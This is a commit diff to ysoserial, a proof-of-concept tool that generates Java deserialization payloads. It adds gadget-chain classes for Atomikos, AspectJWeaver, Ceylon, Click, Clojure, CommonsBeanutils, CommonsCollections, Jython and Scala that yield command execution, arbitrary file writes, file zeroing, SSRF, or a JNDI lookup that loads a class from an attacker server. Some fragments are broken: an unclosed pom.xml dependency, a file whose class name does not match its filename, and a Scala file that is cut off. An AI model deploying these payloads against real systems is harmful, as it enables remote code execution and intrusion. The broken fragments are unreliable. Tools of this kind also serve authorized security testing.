ceylon gadget (#173)

* Add some payloads for Scala

* Add new clojure payload effecting versions since 1.8.0

* Fix infinite loop behavior of clojure2 payload.

.travis.yml

@@ -26,6 +26,7 @@ after_script:
       grep testcase -A1 | grep -B1 -E 'failure|error|skipped' | grep -v -- --
 
 matrix:
+  fast_finish: true
   allow_failures:
     - jdk: oraclejdk11
     - jdk: openjdk6

README.md

@@ -6,7 +6,7 @@
     https://gitter.im/frohoff/ysoserial?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
 [![Download Latest Snapshot](https://img.shields.io/badge/download-master-green.svg)](
     https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)
-[![Travis Build Status](https://api.travis-ci.org/frohoff/ysoserial.svg?branch=master)](https://travis-ci.org/frohoff/ysoserial)
+[![Travis Build Status](https://api.travis-ci.com/frohoff/ysoserial.svg?branch=master)](https://travis-ci.com/frohoff/ysoserial)
 [![Appveyor Build status](https://ci.appveyor.com/api/projects/status/a8tbk9blgr3yut4g/branch/master?svg=true)](https://ci.appveyor.com/project/frohoff/ysoserial/branch/master)
 
 A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
@@ -43,10 +43,11 @@ are not responsible or liable for misuse of the software. Use responsibly.
 ```shell
 $  java -jar ysoserial.jar
 Y SO SERIAL?
-Usage: java -jar ysoserial.jar [payload] '[command]'
+Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
   Available payload types:
      Payload              Authors                                Dependencies                                                                                                                                                                                        
      -------              -------                                ------------                                                                                                                                                                                        
+     Atomikos             @pwntester, @sciccone                  transactions-osgi:4.0.6, jta:1.1                                                                                                                                                                    
      BeanShell1           @pwntester, @cschneider4711            bsh:2.0b5                                                                                                                                                                                           
      C3P0                 @mbechler                              c3p0:0.9.5.2, mchange-commons-java:0.2.11                                                                                                                                                           
      Clojure              @JackOfMostTrades                      clojure:1.8.0                                                                                                                                                                                       
@@ -57,6 +58,7 @@ Usage: java -jar ysoserial.jar [payload] '[command]'
      CommonsCollections4  @frohoff                               commons-collections4:4.0                                                                                                                                                                            
      CommonsCollections5  @matthias_kaiser, @jasinner            commons-collections:3.1                                                                                                                                                                             
      CommonsCollections6  @matthias_kaiser                       commons-collections:3.1                                                                                                                                                                             
+     CommonsCollections7  @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1                                                                                                                                                                             
      FileUpload1          @mbechler                              commons-fileupload:1.3.1, commons-io:2.4                                                                                                                                                            
      Groovy1              @frohoff                               groovy:2.3.9                                                                                                                                                                                        
      Hibernate1           @mbechler                                                                                                                                                                                                                                  
@@ -69,13 +71,18 @@ Usage: java -jar ysoserial.jar [payload] '[command]'
      Jdk7u21              @frohoff                                                                                                                                                                                                                                   
      Jython1              @pwntester, @cschneider4711            jython-standalone:2.5.2                                                                                                                                                                             
      MozillaRhino1        @matthias_kaiser                       js:1.7R2                                                                                                                                                                                            
+     MozillaRhino2        @_tint0                                js:1.7R2                                                                                                                                                                                            
      Myfaces1             @mbechler                                                                                                                                                                                                                                  
      Myfaces2             @mbechler                                                                                                                                                                                                                                  
      ROME                 @mbechler                              rome:1.0                                                                                                                                                                                            
      Spring1              @frohoff                               spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE                                                                                                                                               
      Spring2              @mbechler                              spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2                                                                                                           
+     SpringJta            @zerothoughts, @sciccone               spring-tx:5.1.7.RELEASE, spring-context:5.1.7.RELEASE, jta:1.1                                                                                                                                      
+     Struts2JasperReports @sciccone                              struts2-core:2.5.20, struts2-jasperreports-plugin:2.5.20                                                                                                                                            
      URLDNS               @gebl                                                                                                                                                                                                                                      
+     Vaadin1              @kai_ullrich                           vaadin-server:7.7.14, vaadin-shared:7.7.14                                                                                                                                                          
      Wicket1              @jacob-baines                          wicket-util:6.23.0, slf4j-api:1.6.4                                                                                                                                                                
+
 ```
 
 ## Examples

pom.xml

@@ -326,6 +326,51 @@
 			<artifactId>vaadin-server</artifactId>
 			<version>7.7.14</version>
 		</dependency>
+        <dependency>
+            <groupId>org.scala-lang</groupId>
+            <artifactId>scala-library</artifactId>
+            <version>2.12.6</version>
+		<dependency>
+    		<groupId>com.atomikos</groupId>
+    		<artifactId>transactions-osgi</artifactId>
+    		<version>4.0.6</version>
+		</dependency>
+		<dependency>
+      		<groupId>org.springframework</groupId>
+      		<artifactId>spring-tx</artifactId>
+      		<version>5.1.7.RELEASE</version>
+    	</dependency>
+    	<dependency>
+      		<groupId>org.springframework</groupId>
+      		<artifactId>spring-context</artifactId>
+      		<version>5.1.7.RELEASE</version>
+    	</dependency>
+    	<dependency>
+    		<groupId>org.apache.struts</groupId>
+    		<artifactId>struts2-core</artifactId>
+    		<version>2.5.20</version>
+		</dependency>
+		<dependency>
+    		<groupId>org.apache.struts</groupId>
+    		<artifactId>struts2-jasperreports-plugin</artifactId>
+    		<version>2.5.20</version>
+		</dependency>
+
+        <dependency>
+            <groupId>org.aspectj</groupId>
+            <artifactId>aspectjweaver</artifactId>
+            <version>1.9.5</version>
+        </dependency>
+        <dependency>
+            <groupId>org.apache.click</groupId>
+            <artifactId>click-nodeps</artifactId>
+            <version>2.3.0</version>
+        </dependency>
+	<dependency>
+	    <groupId>org.ceylon-lang</groupId>
+	    <artifactId>ceylon.language</artifactId>
+	    <version>1.3.3</version>
+	</dependency>        
 	</dependencies>
 
 	<profiles>

src/main/java/ysoserial/payloads/AspectJWeaver.java

@@ -0,0 +1,107 @@
+package ysoserial.payloads;
+
+import org.apache.commons.codec.binary.Base64;
+import org.apache.commons.collections.Transformer;
+import org.apache.commons.collections.functors.ConstantTransformer;
+import org.apache.commons.collections.keyvalue.TiedMapEntry;
+import org.apache.commons.collections.map.LazyMap;
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.annotation.PayloadTest;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+import java.io.Serializable;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+
+/*
+Gadget chain:
+HashSet.readObject()
+    HashMap.put()
+        HashMap.hash()
+            TiedMapEntry.hashCode()
+                TiedMapEntry.getValue()
+                    LazyMap.get()
+                        SimpleCache$StorableCachingMap.put()
+                            SimpleCache$StorableCachingMap.writeToPath()
+                                FileOutputStream.write()
+
+Usage:
+args = "<filename>;<base64 content>"
+Example:
+java -jar ysoserial.jar AspectJWeaver "ahi.txt;YWhpaGloaQ=="
+
+More information:
+https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5
+ */
+@PayloadTest(skip="non RCE")
+@SuppressWarnings({"rawtypes", "unchecked"})
+@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
+@Authors({ Authors.JANG })
+
+public class AspectJWeaver implements ObjectPayload<Serializable> {
+
+    public Serializable getObject(final String command) throws Exception {
+        int sep = command.lastIndexOf(';');
+        if ( sep < 0 ) {
+            throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
+        }
+        String[] parts = command.split(";");
+        String filename = parts[0];
+        byte[] content = Base64.decodeBase64(parts[1]);
+
+        Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
+        Object simpleCache = ctor.newInstance(".", 12);
+        Transformer ct = new ConstantTransformer(content);
+        Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
+        TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
+        HashSet map = new HashSet(1);
+        map.add("foo");
+        Field f = null;
+        try {
+            f = HashSet.class.getDeclaredField("map");
+        } catch (NoSuchFieldException e) {
+            f = HashSet.class.getDeclaredField("backingMap");
+        }
+
+        Reflections.setAccessible(f);
+        HashMap innimpl = (HashMap) f.get(map);
+
+        Field f2 = null;
+        try {
+            f2 = HashMap.class.getDeclaredField("table");
+        } catch (NoSuchFieldException e) {
+            f2 = HashMap.class.getDeclaredField("elementData");
+        }
+
+        Reflections.setAccessible(f2);
+        Object[] array = (Object[]) f2.get(innimpl);
+
+        Object node = array[0];
+        if(node == null){
+            node = array[1];
+        }
+
+        Field keyField = null;
+        try{
+            keyField = node.getClass().getDeclaredField("key");
+        }catch(Exception e){
+            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
+        }
+
+        Reflections.setAccessible(keyField);
+        keyField.set(node, entry);
+
+        return map;
+
+    }
+
+    public static void main(String[] args) throws Exception {
+        args = new String[]{"ahi.txt;YWhpaGloaQ=="};
+        PayloadRunner.run(AspectJWeaver.class, args);
+    }
+}

src/main/java/ysoserial/payloads/Atomikos.java

@@ -0,0 +1,77 @@
+package ysoserial.payloads;
+
+import javax.management.BadAttributeValueExpException;
+
+import com.atomikos.icatch.jta.RemoteClientUserTransaction;
+
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.annotation.PayloadTest;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+/**
+*
+* Gadget chain:
+* 
+* 	javax/management/BadAttributeValueExpException.readObject()
+*  		com/atomikos/icatch/jta/RemoteClientUserTransaction.toString()
+*  		com/atomikos/icatch/jta/RemoteClientUserTransaction.checkSetup()
+*  			javax/naming/InitialContext.lookup()
+*
+*
+* Arguments:
+* - (rmi,ldap)://<attacker_server>[:<attacker_port>]/<classname>
+*
+*
+* @author pwntester
+* 	payload added by sciccone
+*
+* This gadget chain was also discovered by pwntester:
+* https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf
+* 
+*/
+@PayloadTest(harness="ysoserial.test.payloads.JRMPReverseConnectTest")
+@Dependencies( { "com.atomikos:transactions-osgi:4.0.6", "javax.transaction:jta:1.1" } )
+@Authors({ Authors.PWNTESTER, Authors.SCICCONE })
+public class Atomikos implements ObjectPayload<Object> {
+
+	@Override
+	public Object getObject(String command) throws Exception {
+		
+		// validate command
+        int sep = command.lastIndexOf('/');
+        if ( sep < 0 || (!command.startsWith("ldap") && !command.startsWith("rmi"))) 
+			throw new IllegalArgumentException("Command format is: " + command 
+					+ "(rmi,ldap)://<attacker_server>[:<attacker_port>]/<classname>");
+
+        String url = command.substring(0, sep);
+        String className = command.substring(sep + 1);
+		
+		// create factory based on url
+		String initialContextFactory;
+		if (url.startsWith("ldap"))
+			initialContextFactory = "com.sun.jndi.ldap.LdapCtxFactory";
+		else 
+			initialContextFactory = "com.sun.jndi.rmi.registry.RegistryContextFactory";
+		
+		// create object
+		RemoteClientUserTransaction rcut = new RemoteClientUserTransaction();
+		
+		// set values using reflection
+		Reflections.setFieldValue(rcut, "initialContextFactory", initialContextFactory);
+		Reflections.setFieldValue(rcut, "providerUrl", url);
+		Reflections.setFieldValue(rcut, "userTransactionServerLookupName", className);
+		
+		// create exception
+		BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
+		Reflections.setFieldValue(exception, "val", rcut);
+		
+		return exception;
+	}
+
+	
+    public static void main ( final String[] args ) throws Exception {
+        PayloadRunner.run(Atomikos.class, args);
+    }
+}

src/main/java/ysoserial/payloads/Ceylon.java

@@ -0,0 +1,23 @@
+package ysoserial.payloads;
+
+import com.redhat.ceylon.compiler.java.language.SerializationProxy;
+
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.util.Gadgets;
+
+@Authors({ Authors.KULLRICH })
+@Dependencies({ "org.ceylon-lang:ceylon.language:1.3.3" })
+public class Ceylon implements ObjectPayload<Object>
+{
+
+	//
+	// Probably the simplest deser gadget ever ;-)
+	// 
+	@Override
+	public Object getObject(String command) throws Exception {
+		final Object templates = Gadgets.createTemplatesImpl(command);
+
+		return new SerializationProxy (templates, templates.getClass(), "getOutputProperties");
+	}
+}

src/main/java/ysoserial/payloads/Click1.java

@@ -0,0 +1,81 @@
+package ysoserial.payloads;
+
+import org.apache.click.control.Column;
+import org.apache.click.control.Table;
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+import java.math.BigInteger;
+import java.util.Comparator;
+import java.util.PriorityQueue;
+
+/*
+    Apache Click chain based on arbitrary getter calls in PropertyUtils.getObjectPropertyValue().
+    We use java.util.PriorityQueue to trigger ColumnComparator.compare().
+    After that, ColumnComparator.compare() leads to TemplatesImpl.getOutputProperties() via unsafe reflection.
+
+    Chain:
+
+    java.util.PriorityQueue.readObject()
+      java.util.PriorityQueue.heapify()
+        java.util.PriorityQueue.siftDown()
+          java.util.PriorityQueue.siftDownUsingComparator()
+            org.apache.click.control.Column$ColumnComparator.compare()
+              org.apache.click.control.Column.getProperty()
+                org.apache.click.control.Column.getProperty()
+                  org.apache.click.util.PropertyUtils.getValue()
+                    org.apache.click.util.PropertyUtils.getObjectPropertyValue()
+                      java.lang.reflect.Method.invoke()
+                        com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
+                        ...
+
+    Arguments:
+    - command to execute
+
+    Yields:
+    - RCE via TemplatesImpl.getOutputProperties()
+
+    Requires:
+    - Apache Click
+    - servlet-api of any version
+
+    by @artsploit
+*/
+@SuppressWarnings({ "rawtypes", "unchecked" })
+@Dependencies({"org.apache.click:click-nodeps:2.3.0", "javax.servlet:javax.servlet-api:3.1.0"})
+@Authors({ Authors.ARTSPLOIT })
+public class Click1 implements ObjectPayload<Object> {
+
+    public Object getObject(final String command) throws Exception {
+
+        // prepare a Column.comparator with mock values
+        final Column column = new Column("lowestSetBit");
+        column.setTable(new Table());
+        Comparator comparator = (Comparator) Reflections.newInstance("org.apache.click.control.Column$ColumnComparator", column);
+
+        // create queue with numbers and our comparator
+        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
+        // stub data for replacement later
+        queue.add(new BigInteger("1"));
+        queue.add(new BigInteger("1"));
+
+        // switch method called by the comparator,
+        // so it will trigger getOutputProperties() when objects in the queue are compared
+        column.setName("outputProperties");
+
+        // finally, we inject and new TemplatesImpl object into the queue,
+        // so its getOutputProperties() method will be called
+        final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
+        final Object templates = Gadgets.createTemplatesImpl(command);
+        queueArray[0] = templates;
+
+        return queue;
+    }
+
+    public static void main(final String[] args) throws Exception {
+        PayloadRunner.run(Click1.class, args);
+    }
+}

src/main/java/ysoserial/payloads/Clojure2.java

@@ -0,0 +1,61 @@
+package ysoserial.payloads;
+
+import clojure.lang.Iterate;
+import ysoserial.Strings;
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+import java.util.Arrays;
+import java.util.Map;
+
+/*
+	Gadget chain:
+		ObjectInputStream.readObject()
+			HashMap.readObject()
+				clojure.lang.ASeq.hashCode()
+					clojure.lang.Iterate.first() -> null
+					clojure.lang.Iterate.next()  -> new Iterate(f, null, UNREALIZED_SEED)
+					clojure.lang.Iterate.first() -> this.f.invoke(null)
+						clojure.core$constantly$fn__4614.invoke()
+						clojure.main$eval_opt.invoke()
+
+	Requires:
+		org.clojure:clojure
+		Versions since 1.8.0 are vulnerable; for earlier versions see Clojure.java.
+		  Versions up to 1.10.0-alpha4 are known to be vulnerable.
+ */
+@Dependencies({"org.clojure:clojure:1.8.0"})
+@Authors({ Authors.JACKOFMOSTTRADES })
+public class Clojure2 extends PayloadRunner implements ObjectPayload<Map<?, ?>> {
+
+	public Map<?, ?> getObject(final String command) throws Exception {
+        String cmd = Strings.join(Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\").split(" ")), " ", "\"", "\"");
+
+        final String clojurePayload =
+            String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", cmd);
+
+        Iterate model = Reflections.createWithoutConstructor(Iterate.class);
+		Object evilFn =
+				new clojure.core$comp().invoke(
+						new clojure.main$eval_opt(),
+						new clojure.core$constantly().invoke(clojurePayload));
+
+		// Wrap the evil function with a composition that invokes the payload, then throws an exception. Otherwise Iterable()
+        // ends up triggering the payload in an infinite loop as it tries to compute the hashCode.
+        evilFn = new clojure.core$comp().invoke(
+            new clojure.main$eval_opt(),
+            new clojure.core$constantly().invoke("(throw (Exception. \"Some text\"))"),
+            evilFn);
+
+        Reflections.setFieldValue(model, "f", evilFn);
+        return Gadgets.makeMap(model, null);
+	}
+
+	public static void main(final String[] args) throws Exception {
+		PayloadRunner.run(Clojure2.class, args);
+	}
+
+}

src/main/java/ysoserial/payloads/CommonsBeanutils2.java

@@ -0,0 +1,44 @@
+package ysoserial.payloads;
+
+import org.apache.commons.beanutils.BeanComparator;
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+import java.util.PriorityQueue;
+
+// Origin Detective is PHITHON From
+// https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html
+@SuppressWarnings({"rawtypes", "unchecked"})
+@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"})
+@Authors({Authors.K4n5ha0})
+public class CommonsBeanutils2 implements ObjectPayload<Object> {
+
+    public Object getObject(final String command) throws Exception {
+        final Object templates = Gadgets.createTemplatesImpl(command);
+        // mock method name until armed
+        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
+
+        // create queue with numbers and basic comparator
+        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
+        // stub data for replacement later
+        queue.add("1");
+        queue.add("1");
+
+        // switch method called by comparator
+        Reflections.setFieldValue(comparator, "property", "outputProperties");
+
+        // switch contents of queue
+        final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
+        queueArray[0] = templates;
+        queueArray[1] = templates;
+
+        return queue;
+    }
+
+    public static void main(final String[] args) throws Exception {
+        PayloadRunner.run(CommonsBeanutils2.class, args);
+    }
+}

src/main/java/ysoserial/payloads/CommonsCollections8.java

@@ -0,0 +1,56 @@
+package ysoserial.payloads;
+
+import org.apache.commons.collections4.bag.TreeBag;
+import org.apache.commons.collections4.comparators.TransformingComparator;
+import org.apache.commons.collections4.functors.InvokerTransformer;
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+/*
+	Gadget chain:
+        org.apache.commons.collections4.bag.TreeBag.readObject
+        org.apache.commons.collections4.bag.AbstractMapBag.doReadObject
+        java.util.TreeMap.put
+        java.util.TreeMap.compare
+        org.apache.commons.collections4.comparators.TransformingComparator.compare
+        org.apache.commons.collections4.functors.InvokerTransformer.transform
+        java.lang.reflect.Method.invoke
+        sun.reflect.DelegatingMethodAccessorImpl.invoke
+        sun.reflect.NativeMethodAccessorImpl.invoke
+        sun.reflect.NativeMethodAccessorImpl.invoke0
+        com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer
+            ... (TemplatesImpl gadget)
+        java.lang.Runtime.exec
+ */
+@SuppressWarnings({"rawtypes", "unchecked"})
+@Dependencies({"org.apache.commons:commons-collections4:4.0"})
+@Authors({ Authors.NAVALORENZO })
+public class CommonsCollections8 extends PayloadRunner implements ObjectPayload<TreeBag> {
+
+	public TreeBag getObject(final String command) throws Exception {
+        Object templates = Gadgets.createTemplatesImpl(command);
+
+        // setup harmless chain
+        final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
+
+        // define the comparator used for sorting
+        TransformingComparator comp = new TransformingComparator(transformer);
+
+        // prepare CommonsCollections object entry point
+        TreeBag tree = new TreeBag(comp);
+        tree.add(templates);
+
+        // arm transformer
+        Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
+
+        return tree;
+	}
+
+	public static void main(final String[] args) throws Exception {
+		PayloadRunner.run(CommonsCollections8.class, args);
+	}
+
+}

src/main/java/ysoserial/payloads/CommonsCollections9.java

@@ -0,0 +1,102 @@
+package ysoserial.payloads;
+
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationHandler;
+import java.util.HashMap;
+import java.util.Map;
+
+import javax.management.BadAttributeValueExpException;
+
+import org.apache.commons.collections.Transformer;
+import org.apache.commons.collections.functors.ChainedTransformer;
+import org.apache.commons.collections.functors.ConstantTransformer;
+import org.apache.commons.collections.functors.InvokerTransformer;
+import org.apache.commons.collections.keyvalue.TiedMapEntry;
+import org.apache.commons.collections.map.LazyMap;
+
+import org.apache.commons.collections.map.DefaultedMap;
+
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.annotation.PayloadTest;
+import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.JavaVersion;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+/*
+	Gadget chain:
+		ObjectInputStream.readObject()
+			AnnotationInvocationHandler.readObject()
+				Map(Proxy).entrySet()
+					AnnotationInvocationHandler.invoke()
+						DefaultedMap.get()
+							ChainedTransformer.transform()
+								ConstantTransformer.transform()
+								InvokerTransformer.transform()
+									Method.invoke()
+										Class.getMethod()
+								InvokerTransformer.transform()
+									Method.invoke()
+										Runtime.getRuntime()
+								InvokerTransformer.transform()
+									Method.invoke()
+										Runtime.exec()
+
+	Requires:
+		commons-collections
+ */
+/*
+This only works in JDK 8u76 and WITHOUT a security manager
+
+https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
+ */
+//@PayloadTest(skip="need more robust way to detect Runtime.exec() without SecurityManager()")
+@SuppressWarnings({"rawtypes", "unchecked"})
+@PayloadTest ( precondition = "isApplicableJavaVersion")
+@Dependencies({"commons-collections:commons-collections:3.2.1"})
+@Authors({ Authors.MEIZJM3I})
+public class CommonsCollections7 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
+
+    public BadAttributeValueExpException getObject(final String command) throws Exception {
+        final String[] execArgs = new String[] { command };
+        // inert chain for setup
+        final Transformer transformerChain = new ChainedTransformer(
+            new Transformer[]{ new ConstantTransformer(1) });
+        // real chain for after setup
+        final Transformer[] transformers = new Transformer[] {
+            new ConstantTransformer(Runtime.class),
+            new InvokerTransformer("getMethod", new Class[] {
+                String.class, Class[].class }, new Object[] {
+                "getRuntime", new Class[0] }),
+            new InvokerTransformer("invoke", new Class[] {
+                Object.class, Object[].class }, new Object[] {
+                null, new Object[0] }),
+            new InvokerTransformer("exec",
+                new Class[] { String.class }, execArgs),
+            new ConstantTransformer(1) };
+
+        final Map innerMap = new HashMap();
+        final Map defaultedmap = DefaultedMap.decorate(innerMap, transformerChain);
+
+        TiedMapEntry entry = new TiedMapEntry(defaultedmap, "foo");
+
+        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
+        Field valfield = val.getClass().getDeclaredField("val");
+        valfield.setAccessible(true);
+        valfield.set(val, entry);
+
+        Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
+
+        return val;
+    }
+
+    public static void main(final String[] args) throws Exception {
+        PayloadRunner.run(CommonsCollections5.class, args);
+    }
+
+    public static boolean isApplicableJavaVersion() {
+        return JavaVersion.isBadAttrValExcReadObj();
+    }
+
+}

src/main/java/ysoserial/payloads/Jython2.java

@@ -0,0 +1,57 @@
+package ysoserial.payloads;
+
+import org.python.core.*;
+import java.math.BigInteger;
+import java.lang.reflect.Proxy;
+import java.util.Comparator;
+import java.util.PriorityQueue;
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.util.Reflections;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.util.PayloadRunner;
+
+/**
+ * Credits: Alvaro Munoz (@pwntester), Christian Schneider (@cschneider4711),
+ * and Yorick Koster (@ykoster)
+ *
+ * This version of Jython2 executes a command through os.system().
+ * Based on Jython1 from @pwntester & @cschneider4711
+ */
+
+@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
+@Dependencies({ "org.python:jython-standalone:2.5.2" })
+@Authors({ Authors.PWNTESTER, Authors.CSCHNEIDER4711, Authors.YKOSTER })
+public class Jython2 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
+
+    public PriorityQueue getObject(String command) throws Exception {
+		String code =
+				"740000" + // 0 LOAD_GLOBAL              0 (eval)
+				"640100" + // 3 LOAD_CONST               1 ("__import__('os', globals(), locals(), ['system'], 0).system('<command>')")
+				"830100" + // 6 CALL_FUNCTION            1
+				"01" +     // 9 POP_TOP
+				"640000" + //10 LOAD_CONST               0 (None)
+				"53";      //13 RETURN_VALUE
+        PyObject[] consts = new PyObject[]{new PyString(""), new PyString("__import__('os', globals(), locals(), ['system'], 0).system('" + command.replace("'", "\\'") + "')")};
+        String[] names = new String[]{"eval"};
+
+        // Generating PyBytecode wrapper for our python bytecode
+        PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{ "", "" }, "noname", "<module>", 0, "");
+        Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray());
+
+        // Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method
+        PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj);
+
+        // Prepare Trigger Gadget
+        Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
+        PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
+        Object[] queue = new Object[] {1,1};
+        Reflections.setFieldValue(priorityQueue, "queue", queue);
+        Reflections.setFieldValue(priorityQueue, "size", 2);
+
+        return priorityQueue;
+    }
+
+    public static void main(final String[] args) throws Exception {
+        PayloadRunner.run(Jython2.class, args);
+    }
+}

src/main/java/ysoserial/payloads/Scala.java

@@ -0,0 +1,106 @@
+package ysoserial.payloads;
+
+import scala.Function0;
+import scala.Function1;
+import scala.PartialFunction;
+import scala.math.Ordering$;
+import scala.sys.process.processInternal$;
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+import java.io.File;
+import java.net.URL;
+import java.util.Comparator;
+import java.util.PriorityQueue;
+
+/*
+    Two exploits using classes in the scala library.
+      * CreateZeroFile will create a file at the target path, or will replace the target path with a 0 byte file.
+        Could be useful as a DoS attack by replacing some app class/war?
+      * Ssrf will perform a GET request to the given URL.
+
+	Requires:
+		org.scala-lang:scala-library
+		The below hard-codes some anonymous inner class names so it is likely bound to the 2.12.6 release library.
+		Some slight variations will probably work with other versions.
+ */
+
+@Dependencies({"org.scala-lang:scala-library:2.12.6"})
+@Authors({ Authors.JACKOFMOSTTRADES })
+public class Scala {
+
+    private static PriorityQueue<Throwable> createExploit(Function0<Object> exploitFunction) throws Exception {
+        PartialFunction<Throwable, Object> onf = processInternal$.MODULE$.onInterrupt(exploitFunction);
+
+        Function1<Throwable, Object> f = new PartialFunction.OrElse(onf, onf);
+
+        // create queue with numbers and basic comparator
+        final PriorityQueue<Throwable> queue = new PriorityQueue<Throwable>(2, new Comparator<Throwable>() {
+            @Override
+            public int compare(Throwable o1, Throwable o2) {
+                return 0;
+            }
+        });
+
+        // stub data for replacement later
+        queue.add(new Exception());
+        queue.add(new Exception());
+        Reflections.setFieldValue(queue, "comparator", Ordering$.MODULE$.<Throwable, Object>by(f, null));
+
+        // switch contents of queue
+        final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
+        queueArray[0] = new InterruptedException();
+        queueArray[1] = new InterruptedException();
+
+        return queue;
+    }
+
+    /*
+        Gadget chain:
+            ObjectInputStream.readObject()
+                PriorityQueue.readObject()
+                    scala.math.Ordering$$anon$5.compare()
+                        scala.PartialFunction$OrElse.apply()
+                            scala.sys.process.processInternal$$anonfun$onIOInterrupt$1.applyOrElse()
+                                scala.sys.process.ProcessBuilderImpl$FileOutput$$anonfun$$lessinit$greater$3.apply()
+                                    java.io.FileOutputStream.<init>()
+     */
+    public static class CreateZeroFile extends PayloadRunner implements ObjectPayload<PriorityQueue<Throwable>> {
+        public PriorityQueue<Throwable> getObject(final String path) throws Exception {
+            Class<?> clazz = Class.forName("scala.sys.process.ProcessBuilderImpl$FileOutput$$anonfun$$lessinit$greater$3");
+            Function0<Object> pbf = (Function0<Object>) Reflections.createWithoutConstructor(clazz);
+            Reflections.setFieldValue(pbf, "file$1", new File(path));
+            Reflections.setFieldValue(pbf, "append$1", false);
+
+            return createExploit(pbf);
+        }
+    }
+
+    /*
+       Gadget chain:
+           ObjectInputStream.readObject()
+               PriorityQueue.readObject()
+                   scala.math.Ordering$$anon$5.compare()
+                       scala.PartialFunction$OrElse.apply()
+                           scala.sys.process.processInternal$$anonfun$onIOInterrupt$1.applyOrElse()
+                               scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1.apply()
+                                   java.net.URL.openStream()
+    */
